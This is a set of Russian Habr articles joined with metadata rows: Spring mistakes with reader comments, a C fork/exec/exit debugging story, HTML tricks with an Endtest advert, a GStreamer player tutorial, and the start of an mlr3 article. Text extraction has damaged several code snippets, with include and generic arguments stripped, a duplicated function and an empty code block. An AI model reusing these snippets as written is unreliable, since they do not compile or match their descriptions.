Другой способ, которым мы могли бы достичь того же — это создание собственных аннотаций. Хотя обычно пользовательские аннотации используются только тогда, когда ваши потребности превышают [встроенный набор констрейнов Hibernate](https://docs.jboss.org/hibernate/stable/validator/reference/en-US/html_single/#section-builtin-constraints), для этого примера давайте представим, что аннотации [Length](https://habr.com/ru/users/length/) не существует. Вы должны создать валидатор, который проверяет длину строки, создав два дополнительных класса, один для проверки, а другой для аннотирования свойств:
```
@Target({ElementType.METHOD, ElementType.FIELD, ElementType.PARAMETER})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Constraint(validatedBy = { MyAnnotationValidator.class })
public @interface MyAnnotation {
String message() default "String length does not match expected";
Class[] groups() default {};
Class extends Payload[] payload() default {};
int value();
}
@Component
public class MyAnnotationValidator implements ConstraintValidator {
private int expectedLength;
@Override
public void initialize(MyAnnotation myAnnotation) {
this.expectedLength = myAnnotation.value();
}
@Override
public boolean isValid(String s, ConstraintValidatorContext constraintValidatorContext) {
return s == null || s.length() == this.expectedLength;
}
}
```
Обратите внимание, что в этих случаях лучшие практики по разделению обязанностей требуют, чтобы вы отметили свойство как валидное, если оно равно null (s == null в методе isValid), а затем использовали аннотацию [NotNull](https://habr.com/ru/users/notnull/), если это является дополнительным требованием для свойства:
```
public class TopTalentData {
@MyAnnotation(value = 10)
@NotNull
private String name;
}
```
Распространенная ошибка № 7: использование (все ещё) XML-конфигурации
---------------------------------------------------------------------
Хотя XML был необходим для предыдущих версий Spring, в настоящее время большая часть конфигурации может быть выполнена исключительно с помощью кода Java / аннотаций. Конфигурации XML просто представляют собой дополнительный и ненужный бойлерплейт.
Эта статья (а также сопровождающий ее репозиторий GitHub) использует аннотации для конфигурирования Spring и Spring знает, какие бины он должен подключить, потому что корневой пакет был аннотирован с помощью составной аннотации @SpringBootApplication, например:
```
@SpringBootApplication
public class Application {
public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}
```
Эта составная аннотация (вы можете узнать больше о ней в документации [Spring](http://docs.spring.io/autorepo/docs/spring-boot/current/reference/html/using-boot-using-springbootapplication-annotation.html)) просто дает Spring подсказку о том, какие пакеты должны быть просканированы для извлечения бинов. В нашем конкретном случае это означает, что для подключения бинов будут использоваться следующие классы, начиная с пакета верхнего уровня (co.kukurin):
`* @Component (TopTalentConverter, MyAnnotationValidator)
* @RestController (TopTalentController)
* @Repository (TopTalentRepository)
* @Service (TopTalentService)`
Если бы у нас были какие-либо дополнительные классы аннотированные @Configuration, они также были бы проверены на наличие Java-конфигурации.
Распространенная ошибка № 8: забывать о профилях
------------------------------------------------
Проблема, с которой часто сталкиваются при разработке серверов, заключается в различии между различными типами конфигурации, обычно это промышленная и девелоперская конфигурации. Вместо того чтобы вручную заменять различные конфигурационные параметры при каждом переходе от тестирования к развертыванию приложения, более эффективным способом было бы использование профилей.
Рассмотрим случай, когда вы используете in-memory базу данных для локальной разработки и базу данных MySQL в ПРОМе. По сути, это будет означать, что вы будете использовать разные URL и (надеюсь) разные учетные данные для доступа к каждой из них. Давайте посмотрим, как это можно сделать двумя разными конфигурационными файлами:
#### ФАЙЛ APPLICATION.YAML
```
# set default profile to 'dev'
spring.profiles.active: dev
# production database details
spring.datasource.url: 'jdbc:mysql://localhost:3306/toptal'
spring.datasource.username: root
spring.datasource.password:
```
#### ФАЙЛ APPLICATION-DEV.YAML
```
spring.datasource.url: 'jdbc:h2:mem:'
spring.datasource.platform: h2
```
По-видимому, вы не хотите случайно выполнить какие-либо действия на своей промышленной базе данных пока вы возитесь с кодом, поэтому имеет смысл установить профиль по умолчанию в dev. Затем на сервере можно вручную переопределить профиль конфигурации, указав параметр -Dspring.profiles.active=prod для JVM. Кроме того, вы также можете установить переменную среды ОС в нужный профиль по умолчанию.
Распространенная ошибка №9: неспособность принять инъекцию зависимостей
-----------------------------------------------------------------------
Правильное использование внедрения зависимостей в Spring означает, что он позволяет связывать все ваши объекты вместе путем сканирования всех требуемых классов конфигурации; это оказывается полезным для расцепления (decoupling) связей, а также значительно облегчает тестирование. Вместо жесткой связи классов, сделав что-то вроде этого:
```
public class TopTalentController {
private final TopTalentService topTalentService;
public TopTalentController() {
this.topTalentService = new TopTalentService();
}
}
```
Мы позволяем Spring сделать для нас связывание:
```
public class TopTalentController {
private final TopTalentService topTalentService;
public TopTalentController(TopTalentService topTalentService) {
this.topTalentService = topTalentService;
}
}
```
[Misko Hevery в Google talk](https://youtu.be/RlfLCWKxHJ0?t=5m52s) подробно объясняет «причины» внедрения зависимости, поэтому давайте вместо этого посмотрим, как это используется на практике. В разделе о разделении обязанностей (Распространенные Ошибки №3) мы создали классы сервиса и контроллера. Допустим, мы хотим протестировать контроллер в предположении, что TopTalentService ведет себя правильно. Мы можем вставить мок-объект вместо фактической реализации сервиса, предоставив отдельный класс конфигурации:
```
@Configuration
public class SampleUnitTestConfig {
@Bean
public TopTalentService topTalentService() {
TopTalentService topTalentService = Mockito.mock(TopTalentService.class);
Mockito.when(topTalentService.getTopTalent()).thenReturn(
Stream.of("Mary", "Joel")
.map(TopTalentData::new).collect(Collectors.toList()));
return topTalentService;
}
}
```
Затем мы можем внедрить мок-объект, сказав Spring использовать SampleUnitTestConfig в качестве поставщика конфигурации:
```
@ContextConfiguration(classes = { SampleUnitTestConfig.class })
```
Потом это позволит нам использовать конфигурацию контектса для внедрения пользовательского бина в юнит-тест.
Распространенная ошибка № 10: отсутствие тестирования или неправильное тестирование
-----------------------------------------------------------------------------------
Несмотря на то, что идея юнит-тестирования с нами уже давно, многие разработчики, похоже, «забывают» сделать это (особенно если это не обязательно), или просто оставляют его на потом. Очевидно, что это нежелательно, поскольку тесты должны не только проверять правильность вашего кода, но и служить документацией о том, как приложение должно вести себя в разных ситуациях.
При тестировании web-сервисов, вы редко делаете исключительно «чистые» юнит-тесты, так как взаимодействие через HTTP, как правило, требует вызвать DispatcherServlet Spring'а и посмотреть, что происходит, когда получен фактический HttpServletRequest (что делает его интеграционным тестом, с использованием валидации, сериализации и т.д.). [REST Assured](https://github.com/rest-assured/rest-assured) — Java DSL для легкого тестирования REST-сервисов поверх MockMVC оказался очень элегантным решением. Рассмотрим следующий фрагмент кода с инъекцией зависимостей:
```
@RunWith(SpringJUnit4ClassRunner.class)
@ContextConfiguration(classes = {
Application.class,
SampleUnitTestConfig.class
})
public class RestAssuredTestDemonstration {
@Autowired
private TopTalentController topTalentController;
@Test
public void shouldGetMaryAndJoel() throws Exception {
// given
MockMvcRequestSpecification givenRestAssuredSpecification = RestAssuredMockMvc.given()
.standaloneSetup(topTalentController);
// when
MockMvcResponse response = givenRestAssuredSpecification.when().get("/toptal/get");
// then
response.then().statusCode(200);
response.then().body("name", hasItems("Mary", "Joel"));
}
}
```
SampleUnitTestConfig подключает мок-реализацию TopTalentService в TopTalentController, в то время как все другие классы связываются с использованием стандартной конфигурации, полученной путем сканирования пакетов, имеющих корни в пакете класса Application. RestAssuredMockMvc просто используется для создания легковесной среды и отправки GET запроса в эндпоинт /toptal/get.
Стать мастером Spring
---------------------
Spring — это мощный фреймворк, с которым легко начать работу, но который требует некоторой самоотдачи и времени для достижения полного мастерства. Если вы потратите время на знакомство с фреймворком, это, безусловно, повысит вашу производительность в долгосрочной перспективе и в конечном итоге поможет вам писать более чистый код и стать лучшим разработчиком.
Если вы ищете дополнительные ресурсы, [Spring In Action](https://www.amazon.com/Spring-Action-Craig-Walls/dp/1617294942) — это хорошая практическая книга, охватывающая многие темы core Spring.
**ТЕГИ**
Java SpringFramework
Комментарии
-----------
**Timothy Schimandle**
На №2 я думаю, что возвращение доменного объекта является предпочтительным в большинстве случаев. Ваш пример пользовательского объекта — один из нескольких классов, в которых есть поля, которые мы хотим скрыть. Но подавляющее большинство объектов, с которыми я работал, не имеют такого ограничения, и добавление класса dto — просто ненужный код.
В целом хорошая статья. Хорошая работа.
**SPIRITED to Timothy Schimandle**
Я вполне согласен. Похоже, что добавлен ненужный дополнительный слой кода, я думаю, что @JsonIgnore поможет игнорировать поля (хотя и с недостатками стратегий обнаружения репозитория по умолчанию), но в целом это отличный пост в блоге. Горд, что наткнулся…
**Arokiadoss Asirvatham**
Чувак, Еще одна распространенная ошибка начинающих: 1) Циклическая Зависимость и 2) несоблюдение основных доктрин объявления Класса Singleton, таких как использование переменной экземпляра в бинах с областью видимости singleton.
**Hlodowig**
Относительно №8, я считаю, что подходы к профилям очень неудовлетворительные. Давайте посмотрим:
* Безопасность: некоторые люди говорят: если бы ваш репозиторий был общедоступным, открылись бы какие-нибудь секретные ключи / пароли? Скорее всего, так и будет, следуя такому подходу. Если, конечно, вы не добавите файлы config в .gitignore, но это не серьезный вариант.
* Дублирование: каждый раз, когда у меня разные настройки, мне нужно создать новый файл свойств, что довольно раздражает.
* Переносимость: я знаю, что это всего лишь один аргумент JVM, но ноль лучше, чем один. Бесконечно меньше подвержено ошибкам.
Я попытался найти способ использовать переменные среды в моих config файлах вместо «жесткого кодирования» значений, но до сих пор мне это не удалось, думаю, мне нужно провести больше исследований.
Отличная статья Тони, продолжай в том же духе!
**Перевод выполнен: tele.gg/middle\_java** | https://habr.com/ru/post/465897/ | null | ru | null |
# К вопросу об Апофении, Телегонии и Путешествиях во времени (и функции с _ в начале)
> *В 1958 году немецкий нейропсихолог Клаус Конрад ввел термин «апофения» (от лат. apophene — высказывать суждение, делать явным; термин восходит к текстам религиозных откровений, где означает знание, достигаемое вне процесса познания), подразумевая под ним свойство психики, заключающегося в способности видеть взаимосвязи в бессмысленных или случайных фактах или данных и находить смысл в совпадениях. Иллюзия осмысленной связи. Наш мозг постоянно ищет закономерности, но зачастую допускает ошибки и возникает иррациональное желание видеть закономерности там, где их нет. Своеобразное желание подчиняться совпадениям и случайностям. Это и называют апофенией. В математической статистике – это стандартная ошибка первого рода.*
>
> *Непряхин Н. «Я манипулирую тобой»*
Почему я вспомнил об этом термине, особенно на IT ресурсе? Потому что поиск взаимосвязей среди разрозненных фактов во время отладки программ — один из основных факторов, определяющих её успешность. Ряд случайных неточностей в работе, каждая из которых никак не показывает причины своего возникновения и не влияет на работу программы в целом может казаться хаотичным. Однако, если попытаться найти между ними взаимосвязь то можно решить сразу массу проблем одной строчкой кода… Или убедиться, что взаимосвязь — не что иное, как игры разума, порождение фантазии разработчика.
### Глава 1. «Агент и координатор»
Всё началось во время разработки программы-агента, выполняющей ряд задач на удаленном сервере, получая список задач через клиент-серверный механизм. Агент поднимал сервер на порту 34002, к нему подключался локальный координатор, они проверяли авторизацию друг друга и если всё шло хорошо, то агент выполнял требуемые действия и отчитывался наверх.
*Упрощенная схема программы*
Очевидным шагом со стороны агента было создать собственный fork, в котором выполнить любую функцию из семейства exec, чтобы заместить процесс запускаемой программой. При этом агент получал pid процесса, что позволяло ожидать его завершения или завершить его принудительно. Всё шло хорошо, однако для того, чтобы координатор мог получить отчет о проделанной работе необходимо было вернуть выводы stdout и stderr.
Эту задачу можно решить несколькими методами — передать процессу новые (dup2) FD для stdout и stderr, а затем читать их в материнском процессе; перенаправить stderr в stdout и использовать popen; переопределить stdout- и stderr-дескрипторы как файлы и прочитать их по завершению. Мы избрали последний метод, поскольку чтение по первому методу требовало дополнительного кода и синхронизации (а если не читать постоянно, то по достижении 2 МБ запись остановится по исчерпанию буфера pipe), а по второму мы теряли разграниченность stdout и stderr. Поэтому был выбран самый простой метод — закрыть новому процессу stdout и stderr, а затем открыть через open файлы, в которые мы хотим переопределить наш вывод. Согласно документации на open он использует минимальный доступный индекс FD, по причине чего код будет прост и элегантен:
```
int pid = fork();
switch (pid) {
case -1 :
return BADFORK;
case 0 :
close(stdout);
close(stderr);
open(fileout, O_CREAT | O_WRONLY, 0777);
open(fileerr, O_CREAT | O_WRONLY, 0777);
execve(arguments[0], arguments, environ);
exit(EXIT_FAILURE);
default :
return pid;
}
```
*Упрощенно код выглядит вот так (проверки на ошибки убраны в целях читаемости).*
Код запускался, успешно писал в файл вывод команд, завершался и был готов работать на «боевых» системах. Или нет? На этапе тестирования проявился маленький баг, «доказывающий» возможность путешествий во времени (или хотя бы [телегонии](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BB%D0%B5%D0%B3%D0%BE%D0%BD%D0%B8%D1%8F_(%D1%82%D0%B5%D0%BE%D1%80%D0%B8%D1%8F))).
### Глава 2. «Телегония»
Дело было вот в чем: после завершения запускаемой программы, а также после завершения работы самого агента в файле, который должен содержать вывод запускаемой программы (в который мы перенаправляем stdout дочерней программы) была обнаружена следующая строка:
```
[2020-06-05 16:58:49] Начало ожидания клиентов сервера :34002
```
Погодите-ка! Но ведь это строка из вывода самого агента — материнского процесса, вызвавшего fork()! Мало того, агент выводит эту строку спустя какое-то время после завершения вызываемой программы! Как может весь остальной вывод агента писаться в stdout, а одна из строк — попадать в файл, вся работа с которым у агента заключается в его чтении после завершения waitpid? Может быть ошибка при чтении файла дает побитую память?
```
static void _exec_readfile(struct frs_json * target, const char * filename) {
FILE * fp;
char linebuff[VEN_PIPE_READ_SIZE + 1] = { 0 };
fp = fopen(filename, "r");
if (!fp)
frs_err("Файл \"%s\" не открыт для чтения", filename);
else {
while(fgets(linebuff, VEN_PIPE_READ_SIZE, fp))
frs_json_string(target, NULL, bxi_strtrimr(linebuff));
}
fclose(fp);
}
```
Вроде бы ничего такого, что могло бы побить память (frs\_\* покрыты тестами). Так как же этот fp влияет на вывод агента, который происходит спустя несколько минут после выполнения этой функции? Натурально, телегония какая-то — потрогали файл на чтение, а спустя 9 месяцев получаем в нем строку от «первого партнера».
*Мой FD трогала зебра*
Valgrind не обнаружил проблем, что нас несколько огорчило. Ведь его всемогущие анализаторы не видели ошибку доступа к памяти, только зря потратили кучу времени на анализ. Или не зря? Если нет ошибки доступа к памяти, значит ошибка логическая. Но какая логическая ошибка могла привести к такому эффекту?
### Глава 3. «Два сервера»
Тем временем был найден второй баг. Во время запуска под отладкой QtCreator (мы используем его как среду разработки, сам проект на C) успешно завершал все относящиеся к программе процессы и этот баг не появлялся. Однако стоило попытаться запустить программу напрямую, а затем завершить ее (законными методами), как она переставала запускаться второй раз.
```
^C[2020-06-05 16:58:46] Получен сигнал "Interrupt", начинается прерывание работы
[2020-06-05 16:58:49] Начало ожидания клиентов сервера :34002
[2020-06-05 16:58:49] Закончено ожидание клиентов сервера :34002
[2020-06-05 16:58:49] Остановлен сервер на порту :34002
[2020-06-05 16:58:49] Сервер приема команд остановлен
[2020-06-05 16:58:50] Нить отправки широковещательных сообщений остановлена
```
Впору было подумать о маленьких гремлинах, разрушающих механизм программы изнутри, ломая то одну часть программы, то другую. Но программистское чутье подсказывало, что между этими багами была взаимосвязь. Какая? Кто знает, но это ж-ж-ж-ж неспроста!
Найти причину отказа запуска оказалось легко. Достаточно было посмотреть системные логи программы, в которых она ясно и четко определяла причину:
```
[2020-06-06 14:40:12] frs_socket_bind Порт :34002 уже используется ("Address already in use" (98))
[2020-06-06 14:40:12] Остановлен сервер на порту :34002
[2020-06-06 14:40:12] ven_server_start Сервер не может быть запущен
```
Как так уже запущен? Кто запустил? Ты же завершилась минуту назад!
```
$ ps aux | grep vento
alex 14144 0.0 0.0 156780 7212 pts/0 Sl+ 14:39 0:00 ./vento
```
Действительно запущена. Но может просто случайность?
```
kill -9 14144
```
И снова программа запускается, но после завершения программы остается процесс, который владеет портом 34002:
```
$ lsof -i | grep 34002
vento 14144 alex 3u IPv4 12275384 0t0 TCP *:34002 (LISTEN)
```
А кто же тогда завершается?
Рассмотрим вывод lsof -i во время работы.
Запускаем:
```
$ lsof -i | grep 34002
vento 151640 alex 3u IPv4 12275384 0t0 TCP *:34002 (LISTEN)
```
Ага, один сокет, один сервер~~, один Рейх~~.
```
$ lsof -i | grep 34002
_Postman 25078 alex 104u IPv4 12885232 0t0 TCP localhost:46154->localhost:34002 (ESTABLISHED)
vento 27468 alex 3u IPv4 12890254 0t0 TCP *:34002 (LISTEN)
```
Вот к нему подключился клиент и задает какую-то команду…
Но что это?
```
$ lsof -i | grep 34002
_Postman 25078 alex 104u IPv4 12885232 0t0 TCP localhost:46154->localhost:34002 (ESTABLISHED)
vento 27468 alex 3u IPv4 12890254 0t0 TCP *:34002 (LISTEN)
vento 27506 alex 3u IPv4 12890254 0t0 TCP *:34002 (LISTEN)
vento 27506 alex 4u IPv4 12890329 0t0 TCP localhost:34002->localhost:46154 (ESTABLISHED)
```
*Забавный факт #197766: рано или поздно должна появиться отсылка к «Звездным войнам»*
Два серверных порта? При том, что наш сервер не использует флаг REUSEPORT.
### Глава 4. «CLOEXEC»
Хм… Возможно в реализации сервера пропущен флаг CLOEXEC?
Рассмотрим флаг поближе:
```
$man fork
* The child process is created with a single thread—the one that
called fork(). The entire virtual address space of the parent is
replicated in the child, including the states of mutexes, condition
variables, and other pthreads objects; the use of pthread_atfork(3)
may be helpful for dealing with problems that this can cause.
* The child inherits copies of the parent's set of open file descrip‐
tors. Each file descriptor in the child refers to the same open
file description (see open(2)) as the corresponding file descriptor
in the parent. This means that the two file descriptors share open
file status flags, file offset, and signal-driven I/O attributes
(see the description of F_SETOWN and F_SETSIG in fcntl(2)).
```
Вызов функции fork() создаст копию текущей нити процесса и создаст копию каждого открытого дескриптора процесса (а так как в UNIX[-like] системах «всё есть файл» — то наравне с файловыми дескрипторами будут склонированы и сетевые)
```
$man exec
The exec() family of functions replaces the current process image with a new process image. The functions described in
this manual page are front-ends for execve(2). (See the manual page for execve(2) for further details about the
replacement of the current process image.)
```
```
$man execve
* By default, file descriptors remain open across an execve(). File descriptors that are marked close-on-exec are
closed; see the description of FD_CLOEXEC in fcntl(2). (If a file descriptor is closed, this will cause the release
of all record locks obtained on the underlying file by this process. See fcntl(2) for details.) POSIX.1 says that
if file descriptors 0, 1, and 2 would otherwise be closed after a successful execve(), and the process would gain
privilege because the set-user-ID or set-group_ID mode bit was set on the executed file, then the system may open an
unspecified file for each of these file descriptors. As a general principle, no portable program, whether privi‐
leged or not, can assume that these three file descriptors will remain closed across an execve().
```
Если мы не хотим, чтобы вызываемый процесс получил копию дескриптора, то мы должны выставить ему флаг FD\_CLOEXEC/SOCK\_CLOEXEC.
*Вообще, логичнее было бы, если бы помечались дескрипторы, которые НУЖНО скопировать, чтобы избежать утечек доступа в root-файлы, но флаг появился в POSIX-2001, так что теперь это наше наследие, [хотя](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3956) и [спорное](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-9962).*
```
server->socket = socket(AF_INET, SOCK_STREAM | SOCK_CLOEXEC, 0);
```
```
fcntl(client, F_SETFD, FD_CLOEXEC);
```
Однако нет, наши флаги выставляются как надо.
Тогда что же происходит? Ядро игнорирует флаг? Кто-то его сбрасывает? И главное, почему после завершения приложения процесс, занимающий порт остается в системе?
Попробуем закрыть основной сервер и подключиться к оставшемуся процессу при помощи gdb:
```
$ sudo gdb -p 27506
GNU gdb (Ubuntu 8.1-0ubuntu3.2) 8.1.0.20180409-git
[...]
Reading symbols from /lib/x86_64-linux-gnu/libgcc_s.so.1...(no debugging symbols found)...done.
0x00007f503d50c9f3 in futex_wait_cancelable (private=[optimized out], expected=0, futex_word=0x55f485d383b8)
at ../sysdeps/unix/sysv/linux/futex-internal.h:88
88 ../sysdeps/unix/sysv/linux/futex-internal.h: Нет такого файла или каталога.
(gdb) bt
#0 0x00007f503d50c9f3 in futex_wait_cancelable (private=[optimized out], expected=0, futex_word=0x55f485d383b8)
at ../sysdeps/unix/sysv/linux/futex-internal.h:88
#1 __pthread_cond_wait_common (abstime=0x0, mutex=0x55f485d38368, cond=0x55f485d38390) at pthread_cond_wait.c:502
#2 __pthread_cond_wait (cond=0x55f485d38390, mutex=0x55f485d38368) at pthread_cond_wait.c:655
#3 0x00007f503d948097 in _frs_signal_wait (signal=0x55f485d38340, filename=0x7f503d7315c8 "fen_server.c", fileline=298)
at ./projects/shared/libforseti/code/thread/frs_signal.c:250
#4 0x00007f503d728044 in _server_wait (server=0x55f485d38270) at ./projects/shared/libfenrir/code/server/fen_server.c:298
#5 0x00007f503d72822d in fen_server_free (server=0x55f485d38270) at ./projects/shared/libfenrir/code/server/fen_server.c:351
```
Стоп-стоп-стоп, какой server\_free? Мы завершили не тот процесс? Ведь здесь должен быть запуск приложения echo!
Или не должен быть?
### Глава 5. «Один символ»
Мы посылаем строку echo, но ведь в exec нужно помещать полный путь до приложения, поскольку мы запускаем его не в shell-среде в отличие от того же system. Поменяем на /bin/echo, и заметим, что проблема пропала. Но ведь тогда получается, что когда мы подаем неверную с точки зрения exec команду мы продолжаем работу в том же процессе и не замещаем его запускаемым приложением, а это значит, что…
```
execve(arguments[0], arguments, environ);
exit(EXIT_FAILURE);
```
Ну да, выполняется exit. Но как это заставляет закрываться сервер?
```
/*! \brief Деинициализатор модуля */
static void _free(void) __attribute__((destructor));
static void _free(void) {
fen_server_free(g_server);
frs_inf("Сервер приема команд остановлен");
}
```
Теперь всё стало на свои места. Эти два бага действительно были связаны между собой, и теперь даже можно сказать как именно:
Что ж, осталось починить неправильно работающую систему. А сделаем мы это как в анекдоте про телевизионного мастера и один удар молотком:
**Добавим один символ** «\_» к слову exit:
```
int pid = fork();
switch (pid) {
case -1 :
return BADFORK;
case 0 :
close(stdout);
close(stderr);
open(fileout, O_CREAT | O_WRONLY, 0777);
open(fileerr, O_CREAT | O_WRONLY, 0777);
execve(arguments[0], arguments, environ);
_exit(EXIT_FAILURE);
default :
return pid;
}
```
Что теперь происходит? Ничего особенного, кроме того, что теперь завершающийся процесс будет завершаться без вызова зарегистрированных через atexit функций. На старых реализациях glibc это будет вызов системного вызова \_exit, на более новых вызов exit\_group для более корректного завершения всех нитей программы.
Что ж, оба бага побеждены, а вы говорили «апофения», «тебе только чудится», «связи нет». Пойду [передвину](https://www.libfox.ru/462964-2-ayzek-azimov-konets-vechnosti.html) ящик на полке, а то человечество больше в космос не полетит. | https://habr.com/ru/post/505926/ | null | ru | null |
# 9 полезных трюков HTML
Приветствую, Хабр! Представляю вашему вниманию перевод статьи [«9 Extremely Useful HTML Tricks»](https://dev.to/razgandeanu/9-extremely-useful-html-tricks-463a) автора [Klaus](https://dev.to/razgandeanu).
У HTML есть много практических секретов, которые могут вам пригодиться.
**Нативка от автора**
Но я хочу убедиться, что сайт работает в Internet Explorer и других браузерах.
Я использую [Endtest](https://endtest.io/) для создания автоматизированных тестов и выполнения их в кросс-браузерном облаке.
[Netflix](https://jobs.lever.co/netflix/db335e29-c731-42ff-ad3a-eeecbe95b36f) использует ту же платформу для тестирования своих веб-приложений.
Умение обращаться с Endtest даже входит в список необходимых навыков для некоторых их [рабочих вакансий](https://www.linkedin.com/jobs/view/1486749071/).
У [Endtest](https://endtest.io/) есть несколько действительно полезных функций, таких как:
• Кросс-браузерная сетка, работающая на компьютерах с Windows и MacOS
• Редактор без кода для автоматических тестов
• Поддержка веб-приложений
• Поддержка как собственных, так и гибридных приложений для Android и iOS
• Неограниченное количество видеозаписей для выполнения ваших тестов
• Сравнение
скриншотов
• Геолокация
• Оператор if
• Циклы
• Загрузка файлов в ваши тесты
• API Endtest, для легкой интеграции с вашей системой CI / CD
• Расширенные утверждения
• Мобильные тесты на мобильных устройствах
• Тестирование электронной почты с помощью Endtest Mailbox
Вы можете просмотреть [документы](https://endtest.io/guides/docs/how-to-create-web-tests/).
Ниже приведены 9 чрезвычайно полезных трюков HTML.
**1. Тег «figure»**
Его можно использовать для разметки фотографии.
Элемент «figure» также может содержать «figcaption»:
```
Fig.1 - SWAT Kats
```
И вот как это будет выглядеть:
 | https://habr.com/ru/post/480104/ | null | ru | null |
# Простой аудио плеер на GStreamer
Недавно мне понадобилось реализовать небольшой аудио плеер. Я, по различным причинам, выбрал библиотеку Gstreamer. И вот решил поделиться полученными знаниями. Надеюсь, приведенная ниже информация кому-то будет полезна.
#### И так начнем
##### Для начала немного разберемся с основными понятиями в Gstreamer
Элемент — является самым важным классом объектов в Gstreamer. Они могут объединятся в цепочку и создавать так называемый канал (pipeline). Каждый элемент имеет строго определенную функцию: чтение файла, ввод или вывод данных и т. д.
Гнезда(pads) — используются для передачи данных между элементами. В каждом элементе может быть от одного и выше гнезд.
Контейнер элементов (Bin) — объединяет цепочку элементов. С помощью данного контейнера можно управлять элементами как одним целым.
Канал (pipeline) — похож на бины, за исключением того, что место элементов он содержит контейнеры элементов.
Подробнее обо всем этом можно узнать в [документации](http://gstreamer.freedesktop.org/documentation/).
##### Теперь перейдем к реализации нашего класса.
Вот так вот выглядит класс нашего аудио плеера:
**audioengine.h**
```
#ifndef AUDIOENGINE_H
#define AUDIOENGINE_H
#include
#include
#include
class AudioEngine : public QObject {
Q\_OBJECT
public:
AudioEngine(QObject \*parent = 0);
~AudioEngine();
int Init();
void MusicPlay();
void MusicPaused();
void MusicStop();
void AddFile(char \*file);
void SetVolume(gdouble val);
gint64 GetMusicPosition();
gint64 GetMusicDuration();
void SetMusicPosition(gint64 pos);
private:
GstElement \*pipeline;
GstElement \*source;
GstElement \*volume;
gint64 pos;
static void OnPadAdded(GstElement \*element, GstPad \*pad, gpointer data);
private slots:
};
#endif // AUDIOENGINE\_H
```
В функции Init() мы инициализируем библиотеку Gstreamer:
```
gst_init(0, 0);
```
данная функция принимает аргументы командной строки argv и argc, в нашем случаи их можно опустить.
Далее создаем канал:
```
pipeline = gst_pipeline_new("audio-player");
```
и необходимые нам элементы:
```
source = gst_element_factory_make("filesrc", NULL);
demuxer = gst_element_factory_make("decodebin", NULL);
decoder = gst_element_factory_make("audioconvert", NULL);
volume = gst_element_factory_make("volume", NULL);
conv = gst_element_factory_make("audioconvert", NULL);
sink = gst_element_factory_make("autoaudiosink", NULL);
```
Элемент source — предназначен для чтения аудио файлов.
demuxer — используется для декодирования аудио файла.
decoder и conv — для конвертирования аудио файла в другой формат.
volume — предназначен для регулирования громкости звука.
sinc — автоматически определяет аудио устройство и выводит данные на него…
Следует заметить что demuxer создает гнезда для каждого элемента потока и нам придется установить обработчик событий для связи demuxer с decoder. В этом нам поможет функция OnPadAdded().
Обработчик событий в нашем коде выглядит так:
```
g_signal_connect(demuxer, "pad-added", G_CALLBACK(OnPadAdded), decoder);
```
Добавляем все созданные элементы в канал:
```
gst_bin_add_many (GST_BIN (pipeline), source, demuxer, decoder, volume, conv, sink, NULL);
```
и линкуем элементы между собой.
```
gst_element_link (source, demuxer);
gst_element_link_many (decoder, volume, conv, sink, NULL);
```
Функция для добавления файла в плеер выглядит примерно так:
```
void AudioEngine::AddFile(char *file) {
g_object_set(G_OBJECT(source), "location", file, NULL);
}
```
функция g\_object\_set() передает аргументы элементу source. В данном случае аргумент «location» говорит нам о том, что аудио-файл находится на локальной машине, file — путь к нашему файлу. Последний параметр NULL говорит нам о том, что элемент больше в никаких аргументах не нуждается.
Функции для запуска, остановки воспроизведения выглядят так:
```
void AudioEngine::AddFile(char *file) {
g_object_set(G_OBJECT(source), "location", file, NULL);
}
void AudioEngine::MusicPlay() {
gst_element_set_state(pipeline, GST_STATE_PLAYING);
}
void AudioEngine::MusicPaused() {
gst_element_set_state(pipeline, GST_STATE_PAUSED);
}
```
тут вроде все понятно.
Функция для регулирование громкости:
```
void AudioEngine::SetVolume(gdouble val) {
g_object_set(G_OBJECT(volume), "volume", val, NULL);
}
```
Функции для для получения продолжительности трека и текущего его положения:
```
gint64 AudioEngine::GetMusicDuration() {
gint64 len;
gst_element_query_duration(pipeline, GST_FORMAT_TIME, &len);
return len;
}
gint64 AudioEngine::GetMusicPosition() {
gint64 pos;
gst_element_query_position(pipeline, GST_FORMAT_TIME, &pos);
return pos;
}
```
следует иметь в виду что функции возвращают значения времени в наносекундах.
И наконец-то функция для смены позиции трека:
```
void AudioEngine::SetMusicPosition(gint64 pos) {
gst_element_set_state(pipeline, GST_STATE_PAUSED);
gst_element_seek_simple(pipeline, GST_FORMAT_TIME, GST_SEEK_FLAG_FLUSH, pos);
gst_element_set_state(pipeline, GST_STATE_PLAYING);
}
```
для того что бы сменить позицию нам придется остановить воспроизведение, а после смены опять его запустить.
gst\_element\_seek\_simple() принимает в аргументы наш канал, формат времени, флаг поиска позиции, и саму позицию которая измеряется в наносекундах.
Полный код приведен ниже по ссылке в месте с небольшим GUI реализованном на Qt.
[Исходники на GitHab](https://github.com/TriKrista/GstPlayer-example)
Всем спасибо. | https://habr.com/ru/post/204172/ | null | ru | null |
# Машинное обучение на языке R с использованием пакета mlr3
*Источник: <https://mlr3book.mlr-org.com/>*
Привет, Хабр!
В этом сообщении мы рассмотрим самый продуманный на сегодняшний день подход к машинному обучению на языке R — пакет **mlr3** и экосистему вокруг него. Данный подход основан на «нормальном» ООП с использованием R6-классов и на представлении всех операций с данными и моделями в виде графа вычислений. Это позволяет создавать упорядоченные и гибкие пайплайны для задач машинного обучения, но на первых порах может показаться сложным и запутанным. Ниже постараемся внести определенную ясность и замотивировать к использованию **mlr3** в ваших проектах.
### Содержание:
1. [Немного истории и сравнение с конкурирующими решениями](https://habr.com/ru/company/ods/blog/491566/#section1)
2. [Технические детали: R6-классы и пакет data.table](https://habr.com/ru/company/ods/blog/491566/#section2)
3. [Основные составляющие ML-пайплайна в mlr3](https://habr.com/ru/company/ods/blog/491566/#section3)
4. [Настройка гиперпараметров](https://habr.com/ru/company/ods/blog/491566/#section4)
5. [Обзор экосистемы mlr3](https://habr.com/ru/company/ods/blog/491566/#section5)
6. [Пайпы и граф вычислений](https://habr.com/ru/company/ods/blog/491566/#section6)
#### 1. Немного истории и сравнение с конкурирующими решениями
##### caret — старый, но не бесполезный
